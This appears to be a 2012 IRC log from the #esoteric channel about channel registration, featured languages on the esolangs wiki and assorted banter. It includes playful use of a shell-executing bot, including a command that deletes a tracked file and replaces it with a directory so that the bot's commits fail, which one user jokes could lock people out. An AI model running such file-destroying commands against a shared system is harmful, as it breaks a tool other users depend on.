11:53:52 <ais523> I can make it sound relevant and ontopic when I need to!
11:54:03 <ais523> can you patch that check out?
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11:54:20 <elliott> yes, but I'd rather reconfigure the webserver to send the main page's title as the pathinfo if you request /wiki/
11:54:29 <elliott> ais523: also, that's not relevant and on-topic, strictly
11:54:33 <elliott> freenode is about "open projects", not tech
11:54:37 <elliott> (i mean, it's obviously not /off-topic/)
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11:54:48 <elliott> in fact, reusing the wiki blurb of "Dedicated to the fostering and documentation of programming languages designed to be unique, difficult to program in, or just plain weird."
11:54:55 <elliott> since "fostering" sounds all community-spirit-like
11:55:11 <ais523> I was thinking from the academic point of view
11:55:39 <elliott> hmm, this would be a lot easier if we just registered an organisation called "esoteric"
11:56:38 <ais523> elliott: you filling it out seems reasonable, as long as enough of the other people who help to run this channel agree
11:56:49 <ais523> based on their rules for who should be primary contact
11:56:59 <ais523> besides, it uses recaptcha
11:57:14 <elliott> ais523: err, I doubt someone who isn't an op would be considered a good contact
11:57:21 <elliott> ...I see an excellent solution to this problem :)
11:57:48 <elliott> (MY NEFARIOUS PLAN IS FINALLY COMING TOGETHER)
11:57:53 <ais523> should probably be fizzie as senior op, then
11:58:06 <ais523> oerjan was opped recently enough that chanserv remembers whne it happened, as was I
11:58:11 <elliott> ais523: well, the thing is that they use the URL to verify the claim
11:58:14 <elliott> and consider it the project URL
11:58:20 <elliott> fizzie isn't a senior staffer of esolangs.org, our project
11:58:26 <elliott> (which is called esoteric)
11:58:35 <elliott> we need someone who's an op and a wiki-admin
11:58:40 <elliott> ofc, I could just wiki-admin fizzie.
11:58:54 <ais523> don't you need to be a server admin anyway, for the confirmation?
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11:59:11 <ais523> it's not completely implausible that a community might want separation of powers between their website and IRC channel, though
11:59:16 <elliott> ais523: I don't think it's a "put this HTML thing on your website"
11:59:25 <elliott> it's a "we'll look at your project website and verify your claim to be it on IRC"
11:59:56 <elliott> ais523: it would be really convenient to own esoteric.<tld> for this...
12:00:19 <ais523> if there's a human involved, we can explain easily enough
12:00:57 <elliott> perhaps the community portal should be our URL instead, or something
12:01:09 <elliott> ais523: and yes, but this is /freenode/, that'll slow it down by ten years
12:01:50 <ais523> who runs the esolang mailing list on sange.fi? and does it still exist?
12:02:13 <elliott> and, umm, technically, I think
12:02:20 <elliott> but "esolang" is irrelevant to us, it's "esoteric" we care about
12:02:34 <elliott> the last thing we want is a staffer saying "OK, all good, just move to #esolangs now!"
12:04:11 <ais523> it'd help avoid confusion
12:04:14 <elliott> ais523: because that defeats the whole point?
12:04:29 <elliott> the only reason to register a group is to keep #esoteric, it's otherwise a completely nonsense process
12:04:30 <ais523> #esolang is probably a better name, come to think of it
12:04:45 <shachaf> elliott's name is secretly Eric.
12:04:50 <shachaf> He likes having a channel named after him.
12:05:02 <ais523> well, esolang is a contraction for "esoteric language", and we thought the language was redundant as we're on Freenode
12:05:13 <elliott> you weren't _around_ in 2002
12:05:45 <elliott> anyway, "esoteric topics in computer programming" =/= "esoteric programming languages" exclusively
12:05:53 <elliott> #esolangs is a far more inaccurate name
12:06:07 <ais523> elliott: I'm projecting
12:06:57 <shachaf> elliott: You should rename this channel "esoterick"
12:07:02 <shachaf> esoterick.org is available.
12:08:09 <elliott> shachaf: As an operator, I agree.
12:08:12 <elliott> ais523: I'm an op now, right?
12:08:31 <ais523> too tired to consider the merits of opping or otherwise someone right now
12:08:41 <ais523> btw, you're starting to remind me uncomfortably of kerio
12:08:47 <shachaf> ais523: Making elliott an op would be the biggest mistake you could ever make.
12:08:54 <elliott> ais523: excellent, the less thoughtful you are the more likely you'll op me
12:08:56 <ais523> who among other things keeps continuously nagging me to fill out GRFs for AceHack
12:09:17 <ais523> he /is/ opped in #acehack, but we have the settings such that he can't deal too much damage
12:09:22 <shachaf> Glaucoma Research Foundation?
12:09:28 <elliott> ais523: I thought AceHack was busy being deconstructed
12:09:31 <ais523> group registration form
12:09:46 <ais523> elliott: it's being merged with nitrohack, which is typically discussed in #unnethack (and sometimes #acehack)
12:09:55 <ais523> but channels all have their own communities
12:10:16 <ais523> #unnethack's become the de-facto channel for discussing variants as a set (as opposed to particular variants)
12:10:24 <elliott> what, there's no #nitrohack yet?
12:10:49 <ais523> haha, there is, but nobody's there but kerio
12:11:10 <ais523> and #grunthack was created really recently, mostly to have a place to put the announcebot
12:11:23 <shachaf> What about toft? You're much better off with toft as an op.
12:11:55 <shachaf> http://iselliottanopyet.com/
12:12:12 <elliott> bring reality in line with reality
12:12:15 <ais523> elliott: you can ask chanserv, probably faster than getting a response from me
12:12:21 <shachaf> ais523: Make elliott a nop.
12:12:22 <ais523> shachaf: please tell me you just registered that :)
12:12:29 <elliott> but it also says ais523 has to make me into an op before i can use it
12:12:33 <shachaf> Wait... Elliott *already* does nothing!
12:12:53 <ais523> No match for "ISELLIOTTANOPYET.COM".
12:13:12 <shachaf> Free as in unregistered, not free as in lunch or speech.
12:13:23 <elliott> `addquote <shachaf> Free as in unregistered, not free as in lunch or speech.
12:13:33 <HackEgo> 825) <shachaf> Free as in unregistered, not free as in lunch or speech.
12:13:36 <elliott> `addquote s'f'slg;sd'sdfjhklf;sdklfjdfklgj
12:13:47 <HackEgo> 92) <ais523> let's put that in the HackEgo quotes files, just to completely mystify anyone who looks back along them in the future
12:13:49 <elliott> it will survive forever and nobody will know why
12:13:51 <HackEgo> 587) <fungot> elliott_: it's a machine that looks like you!
12:13:51 <ais523> shall I delete a good one to make room for it?
12:13:53 <shachaf> `delquote s'f'slg;sd'sdfjhklf;sdklfjdfklgj
12:13:55 <HackEgo> 449) <ais523> the thing about modern semiconductor design is, 0s are more powerful as 1s
12:14:02 <HackEgo> 826) s'f'slg;sd'sdfjhklf;sdklfjdfklgj
12:14:03 <HackEgo> 86) <virtuhird> Sgeo_: Gregorr: and someone could, by mistake, rewrite psox to be a weak erection if it is... A filename.
12:14:04 <HackEgo> 702) <twice11> Yeah, statistics with 2 data points is science. Statistics with one data point is crap. <twice11> You measure a third point if you need an error estimate.
12:14:06 <ais523> gah, I meant "than 1s"
12:14:17 <HackEgo> *poof* <virtuhird> Sgeo_: Gregorr: and someone could, by mistake, rewrite psox to be a weak erection if it is... A filename.
12:14:19 <elliott> delete an elliott quote to make room for an elliott quote
12:14:51 <HackEgo> 333) <elliott> A priori one cannot say that post hoc ergo propter hoc the diminishing returns would give; yet under quid pro quo one can agglutinate fabula and sujet into vagrancies untold. <elliott> See? I'm intellectual.
12:14:56 <HackEgo> 230) <fizzie> And to think: if only we wouldn't celebrate birthdays, there would be no birthday paradox, and we could get by with half as long hash functions. (What do you mean it doesn't work that way?)
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12:15:00 <ais523> also, 92 is /my/ pet 825
12:15:07 <ais523> shachaf: it's numbered 825 now
12:15:08 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
12:15:09 <HackEgo> 127) <oerjan> alise: mainly it's the fact it blows so hard i cannot avoid hitting the walls of the thing, which completely goes against my basic public toilet hygiene principles
12:15:11 <HackEgo> 501) <Taneb> Speaking of the CiSRA puzzles, anyone want to form a team <oerjan> i avoid my duties by carefully never registering to anything new
12:15:14 <HackEgo> 794) <kmc> damn i should make a quasiquoter for inline FORTRAN
12:15:17 <HackEgo> *poof* s'f'slg;sd'sdfjhklf;sdklfjdfklgj
12:15:37 <ais523> elliott: does that actually go back 105 revisions?
12:15:40 <HackEgo> *poof* <Taneb> Speaking of the CiSRA puzzles, anyone want to form a team <oerjan> i avoid my duties by carefully never registering to anything new
12:15:42 <elliott> ais523: no, it goes back to revision 105
12:15:57 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: UNDELETE.EXE: not found
12:17:00 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: DELTREE: not found
12:17:23 <HackEgo> cat: bin/revert: No such file or directory
12:17:38 <ais523> `run echo now this file will be strangely hard to empty completely >> canary
12:17:44 <ais523> although not really /that/ hard
12:17:48 <HackEgo> now this file will be strangely hard to empty completely
12:18:20 <ais523> fun fact: the only reason canary was empty beforehand was that it used to say that and someone decided to test it
12:18:24 <ais523> (note: may not be a true fact)
12:18:33 <shachaf> False fact: elliott is now an op
12:18:45 <shachaf> (Note: May not be a false fact)
12:18:57 <HackEgo> bash: canary: command not found
12:21:17 <ais523> I think we need something in there about a canary's typical reaction to a cat (which is based on a cat's typical reaction to a canary)
12:21:35 <elliott> canaries chirp at everything
12:21:44 <ais523> can't delete canary :)
12:22:13 <ais523> `run rm canary && mkdir canary
12:22:22 <HackEgo> cat: canary: No such file or directory
12:22:28 <shachaf> Why can't you delete canary?
12:22:33 <elliott> ais523: hg doesn't track empty directories
12:22:40 <elliott> now every commit will fail until we recreate it
12:22:52 <HackEgo> cat: foo: No such file or directory
12:23:02 <HackEgo> cat: foo: No such file or directory
12:23:07 <elliott> could be useful to lock out certain people from the bot :P
12:23:21 <elliott> @tell Gregor might want to fix this canary bug
12:23:35 <ais523> elliott: isn't he called RocketJSquirrel?
12:23:39 <elliott> @tell Gregor http://codu.org/logs/log/_esoteric/2012-03-19#122213ais523
12:23:43 * ais523 demands he changes back to Friendship
12:23:46 <elliott> @tell RocketJSquirrel check messages as Gregor
12:23:54 <elliott> @tell Friendship check messages as RocketJSquirrel
12:24:03 <elliott> @tell GregorR check messages as Friendship
12:24:06 <elliott> @tell Gregor check messages as GregorR
12:24:23 <ais523> I was wondering about doing that, but decided against it
12:24:49 <shachaf> ais523: Is ais523 your real name?
12:24:51 <ais523> you know that at least one of those is very likely to end up ending with no messages?
12:24:57 <ais523> shachaf: what do you consider to be a real name?
12:25:03 <elliott> ais523: the idea is that all of them get cleared
12:25:06 <shachaf> ais523: Or is your real name "(this is obviously not my real name)"?
12:25:12 <shachaf> ais523: How should I know?
12:25:16 <ais523> shachaf: that obviously isn't my real name
12:25:45 <shachaf> "obvious isn't" /= "is obviously not"
12:26:02 <ais523> did I say they were the same?
12:26:12 <shachaf> Did I say you said they were the same?
12:26:28 <ais523> and did I say that you said that I said they were the same?
12:26:54 <shachaf> (Note: The previous statement is false.)
12:27:13 <ais523> `pastlog you said that I said
12:27:37 <elliott> # Put the main page at /wiki/ rather than /wiki/Title_of_Main_Page
12:27:41 <elliott> function fnMainPageLink( $title, $url, $query, $variant = false ) {
12:27:41 <elliott> if ( $title->isMainPage() && $query == '' && $variant === false ) {
12:27:41 <elliott> $url = str_replace( '$1', '', $wgArticlePath );
12:27:42 <shachaf> You didn't say it in public.
12:27:42 -!- derdon has joined.
12:27:44 <elliott> $wgHooks['GetLocalURL'][] = 'fnMainPageLink';
12:27:54 <ais523> shachaf: I don't think I've ever talked to you in not-public
12:28:12 <ais523> just the one line, though
12:28:18 <ais523> it was related to #vacuum
12:29:10 <ais523> elliott: did you just tell shachaf to persuade me to go there without telling him what it was called?
12:29:18 <ais523> because according to client history, he never mentioned the nam
12:29:24 <ais523> admittedly, that would be hilarious
12:29:28 <elliott> ais523: I have no idea what you're talking about.
12:29:51 <elliott> Huh, #vacuum is registered.
12:29:52 * ais523 is unsure if he wants to believe that
12:30:03 <elliott> And invite-only, apparently.
12:30:17 <ais523> indeed it is registered; ChanServ wouldn't let me see its access list
12:30:24 <ais523> which implies that someone owns it to be able to configure it to do that
12:30:39 <elliott> So much for "open" projects HA
12:31:22 <ais523> elliott: remember #<redacted>? it was agora-related, also it wasn't a cow, nor not a cow
12:31:34 <ion> @@ @echo @echo @echo @echo @echo HA
12:31:35 <lambdabot> echo; msg:IrcMessage {msgServer = "freenode", msgLBName = "lambdabot", msgPrefix = "ion!ion@heh.fi", msgCommand = "PRIVMSG", msgParams = ["#esoteric",":@@ @echo @echo @echo @echo @echo HA"]} rest:"
12:31:35 <lambdabot> echo; msg:IrcMessage {msgServer = \"freenode\", msgLBName = \"lambdabot\", msgPrefix = \"ion!ion@heh.fi\", msgCommand = \"PRIVMSG\", msgParams = [\"#esoteric\",\":@@ @echo @echo @echo @echo @echo HA\
12:31:35 <lambdabot> "]} rest:\"echo; msg:IrcMessage {msgServer = \\\"freenode\\\", msgLBName = \\\"lambdabot\\\", msgPrefix = \\\"ion!ion@heh.fi\\\", msgCommand = \\\"PRIVMSG\\\", msgParams = [\\\"#esoteric\\\",\\\":@@
12:31:35 <lambdabot> @echo @echo @echo @echo @echo HA\\\"]} rest:\\\"echo; msg:IrcMessage {msgServer = \\\\\\\"freenode\\\\\\\", msgLBName = \\\\\\\"lambdabot\\\\\\\", msgPrefix = \\\\\\\"ion!ion@heh.fi\\\\\\\",
12:31:35 <lambdabot> msgCommand = \\\\\\\"PRIVMSG\\\\\\\", msgParams = [\\\\\\\"#esoteric\\\\\\\",\\\\\\\":@@ @echo @echo @echo @echo @echo HA\\\\\\\"]} rest:\\\\\\\"echo; msg:IrcMessage {msgServer = \\\\\\\\\\\\\\\"
12:31:37 <lambdabot> freenode\\\\\\\\\\\\\\\", msgLBName = \\\\\\\\\\\\\\\"lambdabot\\\\\\\\\\\\\\\", msgPrefix = \\\\\\\\\\\\\\\"ion!ion@heh.fi\\\\\\\\\\\\\\\", msgCommand = \\\\\\\\\\\\\\\"PRIVMSG\\\\\\\\\\\\\\\",
12:31:39 <lambdabot> msgParams = [\\\\\\\\\\\\\\\"#esoteric\\\\\\\\\\\\\\\",\\\\\\\\\\\\\\\":@@ @echo @echo @echo @echo @echo HA\\\\\\\\\\\\\\\"]} rest:\\\\\\\\\\\\\\\"HA\\\\\\\\\\\\\\\"\\\\\\\"\\\"\""
12:31:42 <elliott> ais523: FUCK YOU RUINED MY FUCKING TOWER JEEZ
12:31:47 <elliott> ais523: Does it start with an a and end with an oecabal?
12:32:07 <elliott> ais523: apointlessshoecabal?
12:32:07 <ais523> it's almost as locked-down as #vacuum nowadays
12:41:15 -!- nortti has joined.
12:43:47 <fizzie> Oh, I see there's been some project-registration talk.
12:44:01 <fizzie> (I was busily making some slides.)
12:44:55 <fizzie> Hey, that's funny; http://esolangs.org/ gives an autogenerated directory index right now.
12:45:39 <shachaf> fizzie: That's because it's being run incompetently.
12:46:32 <shachaf> I expected http://esolangs.org/ to say "I HATE YOU FIZZIE"
12:48:24 <fizzie> Hey, I'm not the one who brought up the "i word" here.
12:48:25 <elliott> fizzie: But yes; AFAICT it should be relatively simple to solidify our claim on #esoteric and also give out esoteric cloaks.
12:48:26 -!- ais523 has quit (Ping timeout: 244 seconds).
12:48:29 <itidus20> Noone could have suspected who was about to join the channel next.
12:48:55 <elliott> fizzie: The easiest options are either I wiki-sysop you and you do it, or I get opped here and do it. CLEARLY ONE OF THESE IS PREFERABLE.
12:49:26 -!- ais523 has joined.
12:49:28 <fizzie> Why don't you get the cabal's (there is no cabal) opinions on that?
12:49:49 <elliott> Honestly, these #esoteric ops. So willing to accept power, so unwilling to share it.
12:49:51 <fizzie> Also from elsewhere: https://plus.google.com/u/0/109925364564856140495/posts "Unicode character LOCH NESS MONSTER EMERGING FROM SINK DRAIN (U+2A18)".
12:50:05 <elliott> Relatedly, I have desysopped everyone else on the wiki and deleted all pages apart from [[User:ehird]].
12:50:52 <shachaf> elliott: Can I have an esoteric cloak?
12:51:11 <elliott> shachaf: I promise to ONLY guarantee this if I'm the one who does it.
12:51:20 <ais523> oh, btw, CFJ 2613 was awesome
12:51:28 <ais523> such a pity the judge didn't take it seriously
12:56:23 -!- oerjan has joined.
12:56:38 <lambdabot> oerjan: You have 1 new message. '/msg lambdabot @messages' to read it.
12:56:41 <lambdabot> elliott said 6h 1s ago: Thank you for that list of rules, by the way; they turned into my featured language selection guidelines.
12:56:43 <elliott> either you make me an op or i make either you or fizzie a wiki sysop
12:56:50 <elliott> it's for important reasons
12:57:31 <elliott> also, i can't make fizzie a wiki sysop because <TECHNICAL JARGON>
12:57:41 <oerjan> elliott: you do realize ais523 is also an op?
12:57:48 <elliott> yes, he's not senior enough
12:57:51 <elliott> technically neither are you
12:57:56 <elliott> which leaves us with only one option
12:58:32 <elliott> oerjan: also, http://esolangs.org/wiki/Main_Page.
13:01:21 <oerjan> elliott: you _still_ make me more prominent than the unmentioned language author. also i'd have expected something more famous as the first language. otoh /// may be the most interesting language _not_ yet featured anywhere outside esolang. hm.
13:01:56 <elliott> oerjan: you mean we're meant to reward the creators for being featured?
13:02:18 <elliott> anyway I picked /// by fiat, I rather suspect all future pickings will be by fiat because nobody will bother to propose
13:02:21 * oerjan cannot tell if elliott is ironic or not
13:02:32 <elliott> on that note, please propose Deadfish as a candidate, it's for scientific reasons
13:03:04 <elliott> oerjan: mostly i could not see an obvious way to work [[User:ihope127]] into the blurb.
13:03:05 <oerjan> i do think deadfish should be featured some time, we should have _some_ joke languages on occasion.
13:03:09 <elliott> without it detracting from the interesting parts.
13:03:56 <elliott> oerjan: i was planning to make the deadfish blurb go something like "Deadfish is the greatest programming language ever. It is really just the best. It can add, subtract, ''square'' '''and''' output integers! [...]"
13:04:09 <elliott> The most interactivest programming language!
13:04:18 <elliott> anyway feel free to suggest a way to work ihope127 into the blurb.
13:04:19 <nortti> "Problem exists between leopard and chair"
13:07:33 <oerjan> elliott: "Invented by our [[user:ihope127]], its only operation [...]"
13:07:54 <elliott> "our" is tacky, but apart from that ok
13:07:57 -!- Slereah_ has joined.
13:08:06 <elliott> actually by ok i mean i'll just reword it differently
13:08:22 <elliott> ...hope i wasn't accidentally encouraging there.
13:08:44 <oerjan> alternatively, relax the User: policy to "user [[User:ihope127|ihope127]]"
13:08:56 <elliott> ais523: HE PROPOSED RELAXING THE POLICY
13:09:09 <oerjan> only for the featured language blurbs
13:09:20 <elliott> HE PROPOSED RELAXING THE POLICY
13:09:24 -!- Slereah has quit (Ping timeout: 246 seconds).
13:09:31 <ais523> clearly, it should be [[Tanner L. Swett]]
13:09:53 <elliott> i don't think he likes associating ihope with that name.
13:10:48 <elliott> ais523: it would actually be [[Ivan Hope Stupidromannumerals]]
13:11:05 -!- MoALTz has joined.
13:11:38 <ais523> wait, you mean it isn't his real name?
13:12:41 <itidus20> ah yes, i heard the word our in keeping up appearances
13:13:49 <oerjan> <elliott> oerjan: i was planning to make the deadfish blurb go something like "Deadfish is the greatest [...] <-- well i guess next month _is_ April...
13:15:17 <oerjan> tswett: ^ you might want to comment on how you wish to be credited
13:15:37 <elliott> um well it's being credited as [[User:ihope127]] unless an article miraculously materialises that's associated with ihope127.
13:15:46 <elliott> oerjan: and ah, this implies we're not doing the hectic 2-weeks thing.
13:16:03 <oerjan> elliott: er, implies how?
13:16:05 <ais523> elliott: hmm, isn't the article about Graue at [[Catatonic Porpoise]]
13:16:10 <elliott> ais523: hey, you broke the rules!
13:16:15 <ais523> elliott: "an" is correct if you don't expand the acronym
13:16:17 <elliott> oerjan: because you said month.
13:16:33 <elliott> ais523: correction, I wrote the rules wrong
13:16:37 <elliott> but... they're written now
13:16:46 <elliott> i guess we have new rules now, and you followed them correctly
13:16:53 <oerjan> elliott: not implied, it could also be just the first 2 weeks of April.
13:16:57 <elliott> oerjan: right i just realised that :P
13:17:05 <ais523> elliott: what did you intend to make a rule that you didn't?
13:17:20 <elliott> I was going to omit the signature... but I forget why
13:17:29 <oerjan> elliott: otoh /// won't get a full 2 weeks even if we change on April 1
13:17:31 <elliott> probably I later decided not to for reasons I later forgot
13:17:36 -!- MoALTz_ has joined.
13:17:48 <elliott> oerjan: i'll probably leave /// up for a while. it might takes _days_ for someone to suggest deadfish.
13:18:09 <ais523> elliott: oh, you did omit the signature; I went and edited the rules to require it when I made the suggestion >:)
13:18:11 <itidus20> another way to express silly stuff about featured languages might be a hall of fame of some kind, but it could get very large and all
13:18:45 <ais523> elliott: how else can someone quickly check that they haven't nominated a different language?
13:18:52 <ais523> we can delete the sigs before judging
13:18:57 <elliott> ais523: but they could just fake a signature!
13:19:06 <elliott> naw, no point deleting the sigs, this is a completely biased process in every way
13:19:21 <elliott> but it doesn't raelly matter
13:19:57 -!- MoALTz has quit (Ping timeout: 244 seconds).
13:20:20 <elliott> ais523: btw, since you weren't around for the discussion, I came up with this system so that (a) people didn't have to suggest things _regularly_ i.e. there's no point expiring something just because it was proposed and not chosen last $timespan,
13:20:23 <itidus20> I'm being stupid because I am visiting a peanut factory and I am allergic to peanuts. I just can't taste the immediate fruits of the experience without getting ill.
13:20:55 <elliott> (b) so that the list can be cleaned when it accumulates too much gunk, rather than having bad languages sit there forever, without hurting anyone's feelings,
13:21:03 <ais523> anyway, I think it's worth having all the paradigm classics featured that aren't brainfuck
13:21:07 <elliott> and (c) to require the minimum amount of effort on the part of everyone
13:21:24 <elliott> I decided we don't really need discussion of the candidates because I've never seen an esolang whose interestingness was actually /controversial/
13:21:46 <elliott> and so all the discussion would be over things like whether the article is detailed enough
13:21:57 <elliott> which admins are already really good at determining, because they're experienced with the wiki
13:22:11 <oerjan> <itidus20> ah yes, i heard the word our in keeping up appearances <-- OK, I THINK THAT ARGUMENT NAILS IT
13:22:35 <elliott> ais523: I agree that paradigm classics should be featured, but I also think devoting the first like 7 timespans to the classics would be a bad idea
13:22:44 <elliott> they can be spread out, or it'll just get predictable early on
13:22:57 <itidus20> phrases like "Isn't that our hyacinth?"
13:23:25 <elliott> oerjan: btw the only reason /// is the first one is because i used the blurb as a test for the design, since it has the interesting hook of being minimal but TC and the detail of how the proof was constructed
13:23:36 <elliott> and also because I like it
13:25:34 <itidus20> sorry... i'm just gonna afk for a bit till i snap to my senses
13:25:36 <elliott> ais523: oerjan: perhaps we should feature [[Esme]] sometime.
13:27:11 <oerjan> <itidus20> I'm being stupid because I am visiting a peanut factory [...] <-- couldn't even this be dangerous, if there's peanut dust in the air or something?
13:28:53 <oerjan> <itidus20> also because of \\/\// <-- hey Qdeql also has that
13:29:04 <elliott> oerjan is endeavouring to only respond to things itidus20 said today.
13:29:12 <elliott> for maximum audience pleasure.
13:29:25 <oerjan> that precise program was the data region skipper in my converter
13:30:40 <oerjan> well i agree with the spreading out, in fact it was implied by my rules list suggestion
13:30:52 <elliott> oerjan: hmph, your unlambda resources do not have a unique url of their own :P
13:31:09 <elliott> (ok so the page is practically all unlambda resources anyway.)
13:31:10 <oerjan> indeed, they're in the same directory
13:31:39 * elliott tries to find dates for Unlambda versions
13:31:43 <elliott> did Unlambda 3 ever materialise?
13:31:48 <oerjan> i've been pondering whether to rename index.html something else so people can actually see the rest of it
13:32:48 -!- ais523 has quit (Ping timeout: 245 seconds).
13:33:18 <elliott> ftp://quatramaran.ens.fr/pub/madore/unlambda/ ;; okay, let's say unlambda is 1999.
13:34:10 <oerjan> someone has already suggested unlambda? i was considering doing that.
13:34:21 <elliott> "'''Unlambda''', designed by [[David Madore]], is a minimal functional [[esoteric programming language]] based on [[combinatory logic]]. It is [[Turing-complete]] thanks to its built-in ''s'' and ''k'' combinators and the apply operator, ''`'' (backquote). Furthermore, some input/output functions are available. Unlambda is a functional [[Turing tarpit]].
13:34:21 <elliott> Unlambda is essentially a version of combinatory logic. [...]"
13:34:34 <elliott> this introduction is redundant, and repeats itself, a lot. it tends to say the same thing in different words
13:35:30 <oerjan> <elliott> ais523: oerjan: perhaps we should feature [[Esme]] sometime. <-- er....
13:36:08 <oerjan> <elliott> did Unlambda 3 ever materialise? <-- i don't think so.
13:38:51 -!- ais523 has joined.
13:39:44 <elliott> unlambda is the first functional tarpit, right?
13:40:03 <ais523> I'm not even convinced it was intended as a tarpit
13:40:16 <ais523> (especially given that it has several instructions that are clearly redundant, like i and v)
13:40:26 <ais523> it was just intended as a functional language without lambda
13:40:31 <ais523> a job which it succeeds at admirably
13:40:40 <oerjan> and c wasn't necessary in the first version, either
13:41:08 <oerjan> it only become entangled when he added input
13:42:05 * elliott cleans http://esolangs.org/wiki/Unlambda up a bit
13:42:24 <elliott> combinators section still needs organising, as does the meta-notation section
13:43:10 <ais523> yep, and I might add a section on programming in it (or rather, relambda)
13:44:01 <oerjan> WHAT'S WRONG WITH THE META-NOTATION
13:44:24 <elliott> oerjan: the meta-notation is fine. the wiki section is not.
13:44:37 <elliott> for a start, it doesn't appear to have any idea what bulleted lists are for.
13:46:28 <elliott> Haha, the Pirate Bay are planning to start using tiny, airborne servers with radio transmitters to avoid raids.
13:47:29 <elliott> ais523: thanks for that fix, the process used to be on the featured languages page itsel
13:47:36 <elliott> but it was too long and boring to go above the archive
13:48:13 <ais523> have the Pirate Bay decided that what they're doing is actually illegal yet? or are they just wondering why the police keep trying to shut them down?
13:49:03 <elliott> I think it's very hard to argue the TPB are doing anything illegal in a capacity other than their service being intended for piracy.
13:49:09 <elliott> they don't even host .torrent files any more
13:49:27 <fizzie> ais523: "We think that the investigation is interesting considering nothing that TPB does is illegal." --2012-03-09
13:49:27 <elliott> so it's literally a search engine for plaintext descriptions combined with a hash
13:49:32 <fizzie> So at least then they hadn't.
13:49:37 <ais523> and that's pretty recent
13:49:53 <elliott> I doubt they "wonder" why the police are trying to shut them down.
13:50:12 <elliott> ais523: btw, why is http://esolangs.org/wiki/Category:Featured_languages empty? [[:///]] is in it
13:50:13 <ais523> elliott: oh, I don't think they're doing anything illegal either; and yet people are trying so hard to get rid of them
13:50:43 <elliott> ais523: well, the torrents they offer nowadays are DHT-based.
13:50:52 <elliott> ais523: you can't raid a distributed hash table.
13:51:01 <elliott> so the pirate bay is the only thing they /can/ try to shut down
13:51:35 <elliott> ais523: if it matters, the category is from a template
13:51:42 <elliott> http://esolangs.org/w/index.php?title=Template:Featured&action=edit
13:51:45 <ais523> oh, that /might/ matter
13:51:49 <ais523> are you running the job queue?
13:52:07 <elliott> i think you have to explicitly enable it if you want that stuff to be batch.
13:52:26 <elliott> i feel like complaining that the active user counter on http://esolangs.org/wiki/Special:Statistics is still broken
13:52:42 <ais523> it's normally the job queue that's responsible for category updates via templates
13:53:24 <ais523> fixed it, anyway, by null-editing the page
13:53:41 <ais523> (just load the edit view, then click "save changes" without doing anything)
13:54:02 <ais523> (that regenerates the page in a stronger way than merely purging does)
13:54:05 <elliott> (I feel compelled to note that TPB actually using airborne servers is about as likely as them buying Sealand was.)
13:56:35 <shachaf> http://server-sky.com/ is the future.
13:57:12 <elliott> shachaf: "The most likely practical showstopper is misunderstanding. Working together, we can fix the latter."
13:57:21 <elliott> shachaf: This page is doing a great deal to turn me off its cause.
13:57:40 -!- MoALTz_ has quit (Ping timeout: 244 seconds).
13:57:43 <shachaf> elliott: Are you sure you're not misunderstanding it?
13:59:14 <elliott> shachaf: Yes, I'm sure. It's just irritating.
13:59:41 <ais523> elliott: it was quite a good joke…
14:00:30 <elliott> shachaf's entertaining the first time.
14:00:33 <elliott> Then he keeps being shachaf.
14:00:56 <elliott> oerjan: By the way, you still haven't fixed the chronology on http://home.nvg.org/~oerjan/agora-horoscope/.
14:01:12 <oerjan> "There are 4,507 registered users, but most of them are spambots." :P
14:01:34 <oerjan> elliott: you mean it being oppositely ordered to what you wish?
14:02:21 -!- nortti has quit (Quit: ChatZilla 0.9.88.1 [Firefox 11.0/20120312200651]).
14:04:34 -!- Vorpal has joined.
14:04:35 <elliott> oerjan: No, it's US date style.
14:04:52 <elliott> 3 - 2 - 1 the obvious fix.
14:06:01 <elliott> shachaf: Sure, if you want the relevant updates to be at the bottom.
14:06:26 <elliott> oerjan: By the way, don't actually fix it.
14:08:11 <shachaf> oerjan: Are you going to swat me or not?
14:08:22 * oerjan swats shachaf -----###
14:08:57 <elliott> ais523: Are you going to kick shachaf or not?
14:11:05 <oerjan> my mortgage is enlarging itself just fine
14:11:50 <oerjan> hm wait it's not a mortgage without security
14:11:54 <shachaf> I think it's supposed to go the other way.
14:12:23 <oerjan> it will probably do that when i make another payment.
14:15:37 <elliott> I thought oerjan lived in a box.
14:17:44 <shachaf> Y0U, T00, CAN ENLARG3 Y0UR MORTGAG3 WHIL3 L1V1NG 1N a B0X
14:17:51 <oerjan> also it's student loan, not box loan
14:17:54 <RocketJSquirrel> The text "More featured languages..." doesn't exactly scream "if you click through here a couple of times, you can suggest a language"
14:17:54 <lambdabot> RocketJSquirrel: You have 1 new message. '/msg lambdabot @messages' to read it.
14:17:59 <lambdabot> elliott said 1h 54m 13s ago: check messages as Gregor
14:18:39 -!- Gregor has joined.
14:18:46 <lambdabot> elliott said 1h 55m 24s ago: might want to fix this canary bug
14:18:46 <lambdabot> elliott said 1h 55m 5s ago: http://codu.org/logs/log/_esoteric/2012-03-19#122213ais523
14:18:46 <lambdabot> elliott said 1h 54m 38s ago: check messages as GregorR
14:19:08 <oerjan> Recursion: see recurions
14:19:37 <oerjan> @tell GregorR check messages as RocketJSquirrel
14:19:51 <Gregor> @tell ehird Fine, I'll fix it when I get around to it.
14:19:56 <Gregor> @tell elliott check messages as ehird
14:20:00 <elliott> Gregor: Now check your messages as GregorR.
14:20:01 <lambdabot> elliott: You have 1 new message. '/msg lambdabot @messages' to read it.
14:20:08 -!- elliott has changed nick to ehird.
14:20:14 -!- ehird has changed nick to elliott.
14:20:17 <Gregor> @tell lilo It might actually be offensive for me to leave this message.
14:20:18 <lambdabot> Gregor said 21s ago: check messages as ehird
14:20:19 -!- Gregor has quit (Client Quit).
14:20:23 -!- ais523 has quit (Ping timeout: 260 seconds).
14:20:30 <elliott> RocketJSquirrel: You did not yet check your messages as GregorR.
14:20:47 <elliott> RocketJSquirrel: I left you messages as GregorR.
14:21:06 <elliott> Can you check them, please? I'm too lazy to re-send them.
14:21:11 <elliott> Some of them were in private, so you can't use the logs.
14:23:07 <fungot> RocketJSquirrel: wooh. you must've added your name in the same place
14:23:07 <lambdabot> fungot: You have 1 new message. '/msg lambdabot @messages' to read it.
14:23:08 <oerjan> some of them were of a very ... private ... nature.
14:23:24 -!- sebbu has joined.
